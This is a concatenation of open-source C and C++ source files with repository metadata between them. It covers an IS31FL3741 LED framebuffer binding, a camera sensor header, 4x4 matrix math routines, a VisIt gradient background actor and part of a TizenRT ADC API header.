MP_DEFINE_CONST_FUN_OBJ_1(is31fl3741_FrameBuffer_refresh_obj, is31fl3741_FrameBuffer_refresh);
//| width: int
//| """The width of the display, in pixels"""
STATIC mp_obj_t is31fl3741_FrameBuffer_get_width(mp_obj_t self_in) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
check_for_deinit(self);
return MP_OBJ_NEW_SMALL_INT(common_hal_is31fl3741_FrameBuffer_get_width(self));
}
MP_DEFINE_CONST_FUN_OBJ_1(is31fl3741_FrameBuffer_get_width_obj, is31fl3741_FrameBuffer_get_width);
MP_PROPERTY_GETTER(is31fl3741_FrameBuffer_width_obj,
(mp_obj_t)&is31fl3741_FrameBuffer_get_width_obj);
//| height: int
//| """The height of the display, in pixels"""
//|
STATIC mp_obj_t is31fl3741_FrameBuffer_get_height(mp_obj_t self_in) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
check_for_deinit(self);
return MP_OBJ_NEW_SMALL_INT(common_hal_is31fl3741_FrameBuffer_get_height(self));
}
MP_DEFINE_CONST_FUN_OBJ_1(is31fl3741_FrameBuffer_get_height_obj, is31fl3741_FrameBuffer_get_height);
MP_PROPERTY_GETTER(is31fl3741_FrameBuffer_height_obj,
(mp_obj_t)&is31fl3741_FrameBuffer_get_height_obj);
STATIC const mp_rom_map_elem_t is31fl3741_FrameBuffer_locals_dict_table[] = {
{ MP_ROM_QSTR(MP_QSTR_deinit), MP_ROM_PTR(&is31fl3741_FrameBuffer_deinit_obj) },
{ MP_ROM_QSTR(MP_QSTR_brightness), MP_ROM_PTR(&is31fl3741_FrameBuffer_brightness_obj) },
{ MP_ROM_QSTR(MP_QSTR_refresh), MP_ROM_PTR(&is31fl3741_FrameBuffer_refresh_obj) },
{ MP_ROM_QSTR(MP_QSTR_width), MP_ROM_PTR(&is31fl3741_FrameBuffer_width_obj) },
{ MP_ROM_QSTR(MP_QSTR_height), MP_ROM_PTR(&is31fl3741_FrameBuffer_height_obj) },
};
STATIC MP_DEFINE_CONST_DICT(is31fl3741_FrameBuffer_locals_dict, is31fl3741_FrameBuffer_locals_dict_table);
STATIC void is31fl3741_FrameBuffer_get_bufinfo(mp_obj_t self_in, mp_buffer_info_t *bufinfo) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
check_for_deinit(self);
*bufinfo = self->bufinfo;
}
STATIC void is31fl3741_FrameBuffer_swapbuffers(mp_obj_t self_in, uint8_t *dirty_row_bitmap) {
common_hal_is31fl3741_FrameBuffer_refresh(self_in, dirty_row_bitmap);
}
STATIC void is31fl3741_FrameBuffer_deinit_proto(mp_obj_t self_in) {
common_hal_is31fl3741_FrameBuffer_deinit(self_in);
}
STATIC float is31fl3741_FrameBuffer_get_brightness_proto(mp_obj_t self_in) {
return common_hal_is31fl3741_FrameBuffer_get_paused(self_in) ? 0.0f : 1.0f;
}
STATIC bool is31fl3741_FrameBuffer_set_brightness_proto(mp_obj_t self_in, mp_float_t value) {
common_hal_is31fl3741_FrameBuffer_set_paused(self_in, value <= 0);
return true;
}
STATIC int is31fl3741_FrameBuffer_get_width_proto(mp_obj_t self_in) {
return common_hal_is31fl3741_FrameBuffer_get_width(self_in);
}
STATIC int is31fl3741_FrameBuffer_get_height_proto(mp_obj_t self_in) {
return common_hal_is31fl3741_FrameBuffer_get_height(self_in);
}
STATIC int is31fl3741_FrameBuffer_get_color_depth_proto(mp_obj_t self_in) {
// The way displayio works depth is used to calculate bytes
// We use an uint32_t for color already so setting to 24 causes
// more changes required
return 32;
}
STATIC int is31fl3741_FrameBuffer_get_bytes_per_cell_proto(mp_obj_t self_in) {
return 1;
}
STATIC int is31fl3741_FrameBuffer_get_native_frames_per_second_proto(mp_obj_t self_in) {
return 60; // This was just chosen may vary based on LEDs used?
}
STATIC const framebuffer_p_t is31fl3741_FrameBuffer_proto = {
MP_PROTO_IMPLEMENT(MP_QSTR_protocol_framebuffer)
.get_bufinfo = is31fl3741_FrameBuffer_get_bufinfo,
.set_brightness = is31fl3741_FrameBuffer_set_brightness_proto,
.get_brightness = is31fl3741_FrameBuffer_get_brightness_proto,
.get_width = is31fl3741_FrameBuffer_get_width_proto,
.get_height = is31fl3741_FrameBuffer_get_height_proto,
.get_color_depth = is31fl3741_FrameBuffer_get_color_depth_proto,
.get_bytes_per_cell = is31fl3741_FrameBuffer_get_bytes_per_cell_proto,
.get_native_frames_per_second = is31fl3741_FrameBuffer_get_native_frames_per_second_proto,
.swapbuffers = is31fl3741_FrameBuffer_swapbuffers,
.deinit = is31fl3741_FrameBuffer_deinit_proto,
};
STATIC mp_int_t is31fl3741_FrameBuffer_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
// a readonly framebuffer would be unusual but not impossible
if ((flags & MP_BUFFER_WRITE) && !(self->bufinfo.typecode & MP_OBJ_ARRAY_TYPECODE_FLAG_RW)) {
return 1;
}
*bufinfo = self->bufinfo;
bufinfo->typecode = 'H';
return 0;
}
const mp_obj_type_t is31fl3741_FrameBuffer_type = {
{ &mp_type_type },
.flags = MP_TYPE_FLAG_EXTENDED,
.name = MP_QSTR_is31fl3741,
.locals_dict = (mp_obj_dict_t *)&is31fl3741_FrameBuffer_locals_dict,
.make_new = is31fl3741_FrameBuffer_make_new,
MP_TYPE_EXTENDED_FIELDS(
.buffer_p = { .get_buffer = is31fl3741_FrameBuffer_get_buffer, },
.protocol = &is31fl3741_FrameBuffer_proto,
),
};
|
ca7246082ced3d4014af07ef076e9e4297a88022
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/include/media/ov9650.h
|
d630cf9e028d6e70f30d48d79dc1b49e45a0ccc1
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 874
|
h
|
ov9650.h
|
/*
* OV9650/OV9652 camera sensors driver
*
* Copyright (C) 2013 Sylwester Nawrocki <sylvester.nawrocki@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#ifndef OV9650_H_
#define OV9650_H_
/**
* struct ov9650_platform_data - ov9650 driver platform data
* @mclk_frequency: the sensor's master clock frequency in Hz
* @gpio_pwdn: number of a GPIO connected to OV965X PWDN pin
* @gpio_reset: number of a GPIO connected to OV965X RESET pin
*
* If any of @gpio_pwdn or @gpio_reset are unused then they should be
* set to a negative value. @mclk_frequency must always be specified.
*/
struct ov9650_platform_data {
unsigned long mclk_frequency;
int gpio_pwdn;
int gpio_reset;
};
#endif /* OV9650_H_ */
|
b10b2835e72a1aebb5c16831237d5b1cf241f7f5
|
17227ad12bc0826771ac6ac2b95dddd9517d0117
|
/PVSupport/Sources/retro/libretro-common/gfx/math/matrix_4x4.c
|
2ff6198bd783812673800be61dea1e80da289627
|
[
"BSD-2-Clause"
] |
permissive
|
Provenance-Emu/Provenance
|
e38f7c81e784455d4876f8a2ff999baca0135199
|
c6f49d7921ee27eb8c0c34ca95ec9dc7baf584c1
|
refs/heads/develop
| 2023-08-17T05:04:01.554294
| 2023-07-01T07:58:33
| 2023-07-01T07:58:33
| 12,416,862
| 2,367
| 364
|
NOASSERTION
| 2023-08-01T07:42:35
| 2013-08-27T20:34:36
|
C
|
UTF-8
|
C
| false
| false
| 5,441
|
c
|
matrix_4x4.c
|
/* Copyright (C) 2010-2016 The RetroArch team
*
* ---------------------------------------------------------------------------------------
* The following license statement only applies to this file (matrix.c).
* ---------------------------------------------------------------------------------------
*
* Permission is hereby granted, free of charge,
* to any person obtaining a copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
* and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <string.h>
#include <math.h>
#include <gfx/math/matrix_4x4.h>
void matrix_4x4_copy(math_matrix_4x4 *dst, const math_matrix_4x4 *src)
{
unsigned i, j;
for (i = 0; i < 4; i++)
for (j = 0; j < 4; j++)
MAT_ELEM_4X4(*dst, i, j) = MAT_ELEM_4X4(*src, i, j);
}
/*
* Sets mat to an identity matrix
*/
void matrix_4x4_identity(math_matrix_4x4 *mat)
{
unsigned i;
memset(mat, 0, sizeof(*mat));
for (i = 0; i < 4; i++)
MAT_ELEM_4X4(*mat, i, i) = 1.0f;
}
/*
* Sets out to the transposed matrix of in
*/
void matrix_4x4_transpose(math_matrix_4x4 *out, const math_matrix_4x4 *in)
{
unsigned i, j;
math_matrix_4x4 mat;
for (i = 0; i < 4; i++)
for (j = 0; j < 4; j++)
MAT_ELEM_4X4(mat, j, i) = MAT_ELEM_4X4(*in, i, j);
*out = mat;
}
/*
* Builds an X-axis rotation matrix
*/
void matrix_4x4_rotate_x(math_matrix_4x4 *mat, float rad)
{
float cosine = cosf(rad);
float sine = sinf(rad);
matrix_4x4_identity(mat);
MAT_ELEM_4X4(*mat, 1, 1) = cosine;
MAT_ELEM_4X4(*mat, 2, 2) = cosine;
MAT_ELEM_4X4(*mat, 1, 2) = -sine;
MAT_ELEM_4X4(*mat, 2, 1) = sine;
}
/*
* Builds a rotation matrix using the
* rotation around the Y-axis.
*/
void matrix_4x4_rotate_y(math_matrix_4x4 *mat, float rad)
{
float cosine = cosf(rad);
float sine = sinf(rad);
matrix_4x4_identity(mat);
MAT_ELEM_4X4(*mat, 0, 0) = cosine;
MAT_ELEM_4X4(*mat, 2, 2) = cosine;
MAT_ELEM_4X4(*mat, 0, 2) = -sine;
MAT_ELEM_4X4(*mat, 2, 0) = sine;
}
/*
* Builds a rotation matrix using the
* rotation around the Z-axis.
*/
void matrix_4x4_rotate_z(math_matrix_4x4 *mat, float rad)
{
float cosine = cosf(rad);
float sine = sinf(rad);
matrix_4x4_identity(mat);
MAT_ELEM_4X4(*mat, 0, 0) = cosine;
MAT_ELEM_4X4(*mat, 1, 1) = cosine;
MAT_ELEM_4X4(*mat, 0, 1) = -sine;
MAT_ELEM_4X4(*mat, 1, 0) = sine;
}
/*
* Creates an orthographic projection matrix.
*/
void matrix_4x4_ortho(math_matrix_4x4 *mat,
float left, float right,
float bottom, float top,
float znear, float zfar)
{
float tx, ty, tz;
matrix_4x4_identity(mat);
tx = -(right + left) / (right - left);
ty = -(top + bottom) / (top - bottom);
tz = -(zfar + znear) / (zfar - znear);
MAT_ELEM_4X4(*mat, 0, 0) = 2.0f / (right - left);
MAT_ELEM_4X4(*mat, 1, 1) = 2.0f / (top - bottom);
MAT_ELEM_4X4(*mat, 2, 2) = -2.0f / (zfar - znear);
MAT_ELEM_4X4(*mat, 0, 3) = tx;
MAT_ELEM_4X4(*mat, 1, 3) = ty;
MAT_ELEM_4X4(*mat, 2, 3) = tz;
}
void matrix_4x4_scale(math_matrix_4x4 *out, float x, float y,
float z)
{
memset(out, 0, sizeof(*out));
MAT_ELEM_4X4(*out, 0, 0) = x;
MAT_ELEM_4X4(*out, 1, 1) = y;
MAT_ELEM_4X4(*out, 2, 2) = z;
MAT_ELEM_4X4(*out, 3, 3) = 1.0f;
}
/*
* Builds a translation matrix. All other elements in
* the matrix will be set to zero except for the
* diagonal which is set to 1.0
*/
void matrix_4x4_translate(math_matrix_4x4 *out, float x,
float y, float z)
{
matrix_4x4_identity(out);
MAT_ELEM_4X4(*out, 0, 3) = x;
MAT_ELEM_4X4(*out, 1, 3) = y;
MAT_ELEM_4X4(*out, 2, 3) = z;
}
/*
* Creates a perspective projection matrix.
*/
void matrix_4x4_projection(math_matrix_4x4 *out, float znear,
float zfar)
{
float delta_z = zfar - znear;
memset(out, 0, sizeof(*out));
MAT_ELEM_4X4(*out, 0, 0) = znear;
MAT_ELEM_4X4(*out, 1, 1) = zfar;
MAT_ELEM_4X4(*out, 2, 2) = (zfar + znear) / delta_z;
MAT_ELEM_4X4(*out, 2, 3) = -2.0f * zfar * znear / delta_z;
MAT_ELEM_4X4(*out, 3, 2) = -1.0f;
}
/*
* Multiplies a with b, stores the result in out
*/
void matrix_4x4_multiply(
math_matrix_4x4 *out,
const math_matrix_4x4 *a,
const math_matrix_4x4 *b)
{
unsigned r, c, k;
math_matrix_4x4 mat;
for (r = 0; r < 4; r++)
{
for (c = 0; c < 4; c++)
{
float dot = 0.0f;
for (k = 0; k < 4; k++)
dot += MAT_ELEM_4X4(*a, r, k) * MAT_ELEM_4X4(*b, k, c);
MAT_ELEM_4X4(mat, r, c) = dot;
}
}
*out = mat;
}
|
7d420682c5ab806c346830fad6fc9175e4ba843b
|
35266a567d1f4e389bb234e72e2d8e4af06bb707
|
/tests/TestParseFail.h
|
e287266902969590727d1bbff74e38e052b989a0
|
[
"MIT"
] |
permissive
|
WheretIB/nullc
|
6c6ec4a0f53a28c1ede2c0e3e4a9d0af5437d96d
|
bac1a2b2c35676a61392c094b142b50b92952fc8
|
refs/heads/master
| 2022-11-11T03:38:03.706686
| 2022-11-06T01:55:45
| 2022-11-06T01:55:45
| 32,209,998
| 161
| 13
|
MIT
| 2022-11-06T01:55:46
| 2015-03-14T12:15:38
|
C++
|
UTF-8
|
C
| false
| false
| 43
|
h
|
TestParseFail.h
|
#pragma once
void RunParseFailTests();
|
20c19cef6610d75f8fd1a7692fe0824d7aa2a69f
|
03666e5f961946fc1a0ac67781ac1425562ef0d7
|
/src/avt/Plotter/vtk/vtkBackgroundActor.C
|
5031024addffddd37d7683fa78263d90ea197704
|
[
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
visit-dav/visit
|
e9f81b4d4b9b9930a0db9d5282cd1bcabf465e2e
|
601ae46e0bef2e18425b482a755d03490ade0493
|
refs/heads/develop
| 2023-09-06T08:19:38.397058
| 2023-09-05T21:29:32
| 2023-09-05T21:29:32
| 165,565,988
| 335
| 120
|
BSD-3-Clause
| 2023-09-14T00:53:37
| 2019-01-13T23:27:26
|
C
|
UTF-8
|
C
| false
| false
| 13,417
|
c
|
vtkBackgroundActor.C
|
// Copyright (c) Lawrence Livermore National Security, LLC and other VisIt
// Project developers. See the top-level LICENSE file for dates and other
// details. No copyright assignment is required to contribute to VisIt.
#include "vtkBackgroundActor.h"
#include <vtkCellArray.h>
#include <vtkMath.h>
#include <vtkMatrix4x4.h>
#include <vtkObjectFactory.h>
#include <vtkPointData.h>
#include <vtkUnsignedCharArray.h>
#include <vtkViewport.h>
// ***************************************************************************
// Modifications:
//
// Kathleen Bonnell, Wed Mar 6 13:48:48 PST 2002
// Use new vtk macro in place of New method.
// ***************************************************************************
vtkStandardNewMacro(vtkBackgroundActor);
vtkBackgroundActor::vtkBackgroundActor()
{
this->GradientFillMode = 0;
this->NumRings = 4;
this->NumRadialSteps = 20;
this->GradientActor = NULL;
this->GradientMapper = NULL;
this->GradientData = NULL;
this->GradientCoords[0] = -1.;
this->GradientCoords[1] = -1.;
this->GradientCoords[2] = -1.;
this->GradientCoords[3] = -1.;
this->GradientColors[0][0] = 0.;
this->GradientColors[0][1] = 1.;
this->GradientColors[0][2] = 1.;
this->GradientColors[1][0] = 0.;
this->GradientColors[1][1] = 1.;
this->GradientColors[1][2] = 1.;
this->GradientColors[2][0] = 0.;
this->GradientColors[2][1] = 0.;
this->GradientColors[2][2] = 1.;
this->GradientColors[3][0] = 0.;
this->GradientColors[3][1] = 0.;
this->GradientColors[3][2] = 1.;
}
vtkBackgroundActor::~vtkBackgroundActor()
{
DestroyBackground();
}
void
vtkBackgroundActor::DestroyBackground()
{
if(this->GradientActor != NULL)
{
this->GradientActor->Delete();
this->GradientActor = NULL;
}
if(this->GradientMapper != NULL)
{
this->GradientMapper->Delete();
this->GradientMapper = NULL;
}
if(this->GradientData != NULL)
{
this->GradientData->Delete();
this->GradientData = NULL;
}
}
// ***************************************************************************
// Modifications:
//
// Kathleen Bonnell, Mon Oct 29 14:21:59 PST 2001
// Made ptIds of type vtkIdType to match VTK 4.0 API.
//
// Kathleen Bonnell, Fri Feb 8 11:03:49 PST 2002
// vtkScalars has been deprecated in VTK 4.0, use vtkUnsignedCharArray
// for colors instead.
// ***************************************************************************
void
vtkBackgroundActor::CreateBackground()
{
this->GradientData = vtkPolyData::New();
if(this->GradientFillMode < 4)
{
int numPts = 4;
vtkPoints *pts = vtkPoints::New();
pts->SetNumberOfPoints(numPts);
vtkCellArray *polys = vtkCellArray::New();
polys->Allocate(polys->EstimateSize(numPts * 3,4));
vtkUnsignedCharArray *colors = vtkUnsignedCharArray::New();
colors->SetNumberOfComponents(3);
colors->SetNumberOfTuples(numPts);
// Store the colors and points in the polydata.
this->GradientData->Initialize();
this->GradientData->SetPoints(pts);
this->GradientData->SetPolys(polys);
this->GradientData->GetPointData()->SetScalars(colors);
pts->Delete(); polys->Delete(); colors->Delete();
// Add points to the vertex list.
double coord[3];
coord[2] = 0.0;
coord[0] = this->GradientCoords[0];
coord[1] = this->GradientCoords[1];
pts->SetPoint(0, coord);
coord[0] = this->GradientCoords[2];
coord[1] = this->GradientCoords[1];
pts->SetPoint(1, coord);
coord[0] = this->GradientCoords[2];
coord[1] = this->GradientCoords[3];
pts->SetPoint(2, coord);
coord[0] = this->GradientCoords[0];
coord[1] = this->GradientCoords[3];
pts->SetPoint(3, coord);
// Add a cell to the polydata.
vtkIdType ptIds[4];
ptIds[0] = 0;
ptIds[1] = 1;
ptIds[2] = 2;
ptIds[3] = 3;
polys->InsertNextCell(4, ptIds);
// Write the colors into the array directly
unsigned char *rgb = colors->GetPointer(0);
rgb[0] = (unsigned char)((float)this->GradientColors[0][0] * 255.f);
rgb[1] = (unsigned char)((float)this->GradientColors[0][1] * 255.f);
rgb[2] = (unsigned char)((float)this->GradientColors[0][2] * 255.f);
rgb = colors->GetPointer(3);
rgb[0] = (unsigned char)((float)this->GradientColors[1][0] * 255.f);
rgb[1] = (unsigned char)((float)this->GradientColors[1][1] * 255.f);
rgb[2] = (unsigned char)((float)this->GradientColors[1][2] * 255.f);
rgb = colors->GetPointer(6);
rgb[0] = (unsigned char)((float)this->GradientColors[2][0] * 255.f);
rgb[1] = (unsigned char)((float)this->GradientColors[2][1] * 255.f);
rgb[2] = (unsigned char)((float)this->GradientColors[2][2] * 255.f);
rgb = colors->GetPointer(9);
rgb[0] = (unsigned char)((float)this->GradientColors[3][0] * 255.f);
rgb[1] = (unsigned char)((float)this->GradientColors[3][1] * 255.f);
rgb[2] = (unsigned char)((float)this->GradientColors[3][2] * 255.f);
}
else
{
int numPts = 1 + this->NumRings * this->NumRadialSteps;
vtkPoints *pts = vtkPoints::New();
pts->SetNumberOfPoints(numPts);
vtkCellArray *polys = vtkCellArray::New();
polys->Allocate(polys->EstimateSize(numPts * 3,4));
vtkUnsignedCharArray *colors = vtkUnsignedCharArray::New();
colors->SetNumberOfComponents(3);
colors->SetNumberOfTuples(numPts);
// Store the colors and points in the polydata.
this->GradientData->Initialize();
this->GradientData->SetPoints(pts);
this->GradientData->SetPolys(polys);
this->GradientData->GetPointData()->SetScalars(colors);
pts->Delete(); polys->Delete(); colors->Delete();
double CenterX = (this->GradientCoords[0] + this->GradientCoords[2]) * 0.5;
double CenterY = (this->GradientCoords[1] + this->GradientCoords[3]) * 0.5;
double dX = CenterX - this->GradientCoords[0];
double dY = CenterY - this->GradientCoords[1];
double Radius = sqrt(dX*dX + dY*dY) * 1.02;
double dTheta = 2 * 3.14159 / double(this->NumRadialSteps);
// Add the first point and its color.
double coord[3];
coord[2] = 0.0;
coord[0] = CenterX;
coord[1] = CenterY;
pts->SetPoint(0, coord);
unsigned char *rgb = colors->GetPointer(0);
rgb[0] = (unsigned char)((float)this->GradientColors[0][0] * 255.f);
rgb[1] = (unsigned char)((float)this->GradientColors[0][1] * 255.f);
rgb[2] = (unsigned char)((float)this->GradientColors[0][2] * 255.f);
// Add the radial cells to the polydata.
int ptIndex = 1;
for(int ring = 0; ring < this->NumRings; ++ring)
{
double t = (double(ring + 1) / double(this->NumRings));
double RingRadius = Radius * t;
double theta = 0.;
// Figure the color for the points at this level of the ring.
double cR = (1 - t) * this->GradientColors[0][0] +
t * this->GradientColors[1][0];
double cG = (1 - t) * this->GradientColors[0][1] +
t * this->GradientColors[1][1];
double cB = (1 - t) * this->GradientColors[0][2] +
t * this->GradientColors[1][2];
for(int i = 0; i < this->NumRadialSteps; ++i, theta += dTheta)
{
// Create the coordinate.
coord[0] = cos(theta) * RingRadius + CenterX;
coord[1] = sin(theta) * RingRadius + CenterY;
pts->SetPoint(ptIndex, coord);
// Add the color.
rgb = colors->GetPointer(ptIndex * 3);
rgb[0] = (unsigned char)((float)cR * 255.f);
rgb[1] = (unsigned char)((float)cG * 255.f);
rgb[2] = (unsigned char)((float)cB * 255.f);
++ptIndex;
// Add the cell to the polydata.
vtkIdType ptIds[4];
if(ring == 0)
{
ptIds[0] = 0;
ptIds[1] = i + 1;
ptIds[2] = ((i + 1) < this->NumRadialSteps) ? (i + 2) : 1;
polys->InsertNextCell(3, ptIds);
}
else
{
ptIds[0] = i + ((ring - 1) * this->NumRadialSteps) + 1;
ptIds[1] = i + (ring * this->NumRadialSteps) + 1;
ptIds[2] = ((i + 1) < this->NumRadialSteps) ? (ptIds[1] + 1) :
(ptIds[1] - this->NumRadialSteps + 1);
ptIds[3] = ((i + 1) < this->NumRadialSteps) ? (ptIds[0] + 1) :
(ptIds[0] - this->NumRadialSteps + 1);
polys->InsertNextCell(4, ptIds);
}
}
}
}
this->GradientMapper = vtkPolyDataMapper2D::New();
this->GradientMapper->SetInputData(this->GradientData);
this->GradientActor = vtkActor2D::New();
// this->GradientActor->Modified();
this->GradientActor->SetMapper(this->GradientMapper);
}
int vtkBackgroundActor::RenderOverlay(vtkViewport *viewport)
{
// Get the normalized device coordinates in device coordinates.
double newPts[4];
newPts[0] = 0.;
newPts[1] = 0.;
newPts[2] = 1.;
newPts[3] = 1.;
viewport->NormalizedDisplayToDisplay(newPts[0], newPts[1]);
viewport->NormalizedDisplayToDisplay(newPts[2], newPts[3]);
// See if the device coordinates do not match the stored device coords.
bool sizeChanged = (newPts[0] != this->GradientCoords[0]) ||
(newPts[1] != this->GradientCoords[1]) ||
(newPts[2] != this->GradientCoords[2]) ||
(newPts[3] != this->GradientCoords[3]);
// See if this actor's modification time is greater than that of the
// internal 2d actor.
bool stateChanged = false;
if(this->GradientActor != NULL)
stateChanged = this->GetMTime() > this->GradientActor->GetMTime();
// Redo the gradient background
if(sizeChanged || stateChanged || GradientData == NULL ||
GradientActor == NULL || GradientMapper == NULL)
{
this->GradientCoords[0] = newPts[0];
this->GradientCoords[1] = newPts[1];
this->GradientCoords[2] = newPts[2];
this->GradientCoords[3] = newPts[3];
DestroyBackground();
CreateBackground();
}
// Render the gradient actor.
int retval = this->GradientActor->RenderOverlay(viewport);
return retval;
}
int vtkBackgroundActor::RenderOpaqueGeometry(vtkViewport *viewport)
{
return 0;
}
void vtkBackgroundActor::SetColors(const double colors[4][3])
{
this->GradientColors[0][0] = colors[0][0];
this->GradientColors[0][1] = colors[0][1];
this->GradientColors[0][2] = colors[0][2];
this->GradientColors[1][0] = colors[1][0];
this->GradientColors[1][1] = colors[1][1];
this->GradientColors[1][2] = colors[1][2];
this->GradientColors[2][0] = colors[2][0];
this->GradientColors[2][1] = colors[2][1];
this->GradientColors[2][2] = colors[2][2];
this->GradientColors[3][0] = colors[3][0];
this->GradientColors[3][1] = colors[3][1];
this->GradientColors[3][2] = colors[3][2];
this->Modified();
}
void vtkBackgroundActor::SetColor(int id, const double color[3])
{
if(id < 0 || id > 3)
return;
this->GradientColors[id][0] = color[0];
this->GradientColors[id][1] = color[1];
this->GradientColors[id][2] = color[2];
this->Modified();
}
void vtkBackgroundActor::SetGradientFillMode(int mode)
{
this->GradientFillMode = mode;
this->Modified();
}
void vtkBackgroundActor::SetNumRings(int rings)
{
this->NumRings = rings;
this->Modified();
}
void vtkBackgroundActor::SetNumRadialSteps(int steps)
{
this->NumRadialSteps = steps;
this->Modified();
}
// ***************************************************************************
// Modifications:
//
// Kathleen Bonnell, Wed Mar 6 13:48:48 PST 2002
// Call superclass's method the new vtk way.
// ***************************************************************************
void vtkBackgroundActor::PrintSelf(ostream& os, vtkIndent indent)
{
this->Superclass::PrintSelf(os, indent);
os << indent << "GradientFillMode: " << this->GradientFillMode << endl;
os << indent << "NumRings: " << this->NumRings << endl;
os << indent << "NumRadialSteps: " << this->NumRadialSteps << endl;
os << indent << "GradientColors: {"
<< "(" << this->GradientColors[0][0] << ","
<< this->GradientColors[0][1] << ","
<< this->GradientColors[0][2] << "), "
<< "(" << this->GradientColors[1][0] << ","
<< this->GradientColors[1][1] << ","
<< this->GradientColors[1][2] << "), "
<< "(" << this->GradientColors[2][0] << ","
<< this->GradientColors[2][1] << ","
<< this->GradientColors[2][2] << "), "
<< "(" << this->GradientColors[3][0] << ","
<< this->GradientColors[3][1] << ","
<< this->GradientColors[3][2] << ")}" << endl;
}
|
427757633adcfc68cc4cac8cf8d29f40510643fc
|
0744dcc5394cebf57ebcba343747af6871b67017
|
/framework/include/iotbus/iotbus_adc.h
|
9bad8c5ab99b80cecca0c96585a90c58e4af4df7
|
[
"Apache-2.0"
] |
permissive
|
Samsung/TizenRT
|
96abf62f1853f61fcf91ff14671a5e0c6ca48fdb
|
1a5c2e00a4b1bbf4c505bbf5cc6a8259e926f686
|
refs/heads/master
| 2023-08-31T08:59:33.327998
| 2023-08-08T06:09:20
| 2023-08-31T04:38:20
| 82,517,252
| 590
| 719
|
Apache-2.0
| 2023-09-14T06:54:49
| 2017-02-20T04:38:30
|
C
|
UTF-8
|
C
| false
| false
| 4,443
|
h
|
iotbus_adc.h
|
/****************************************************************************
*
* Copyright 2019 Samsung Electronics All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific
* language governing permissions and limitations under the License.
*
****************************************************************************/
/**
* @defgroup ADC ADC
* @brief Provides APIs for ADC (Analog to Digital Converters)
* @ingroup IOTBUS
* @{
*/
/**
* @file iotbus/iotbus_adc.h
* @brief Iotbus APIs for ADC
*/
#ifndef IOTBUS_ADC_H_
#define IOTBUS_ADC_H_
#include <stdint.h>
#include <sys/types.h>
struct _iotbus_adc_s;
/**
* @brief Pointer definition to the internal struct _iotbus_adc_wrapper_s
*/
typedef struct _iotbus_adc_wrapper_s *iotbus_adc_context_h;
typedef void (*iotbus_adc_cb)(iotbus_adc_context_h);
/**
* @brief Enumeration of ADC state
* @details
* Enumeration Details:
* IOTBUS_ADC_RDY = 0, adc device is ready
* IOTBUS_ADC_BUSY = 1, adc device is busy
*/
typedef enum {
IOTBUS_ADC_NONE = 0,
IOTBUS_ADC_RDY, /** adc device is ready to use */
IOTBUS_ADC_BUSY, /** adc device is busy */
IOTBUS_ADC_STOP, /** adc device is stopped */
} iotbus_adc_state_e;
#ifdef __cplusplus
extern "C" {
#endif
typedef void (*adc_read_cb)(int channel, uint32_t data);
/**
* @brief initializes adc_context.
*
* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] bus ADC bus number
* @param[in] channel The 8-bit ADC Channel
* @return On success, handle of adc_context is returned. On failure, NULL is returned.
* @since TizenRT v2.0
*/
iotbus_adc_context_h iotbus_adc_init(int bus, uint8_t channel);
/**
* @brief deinitializes adc_context.
*
* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] hnd handle of i2c_context
* @return On success, 0 is returned. On failure, a negative value is returned.
* @since TizenRT v2.0
*/
int iotbus_adc_deinit(iotbus_adc_context_h hnd);
/**
* @brief set the ADC channel.
*
* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] hnd handle of adc_context
* @param[in] channel The 8-bit ADC Channel
* @return On success, 0 is returned. On failure, a negative value is returned.
* @since TizenRT v2.0
*/
int iotbus_adc_set_channel(iotbus_adc_context_h hnd, uint8_t channel);
/**
* @brief get the ADC channel.
*
* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] hnd handle of adc_context
* @return On success, the ADC channel is returned. On failure, a negative value is returned.
* @since TizenRT v2.0
*/
int iotbus_adc_get_channel(iotbus_adc_context_h hnd);
/**
* @brief get the ADC state.
*
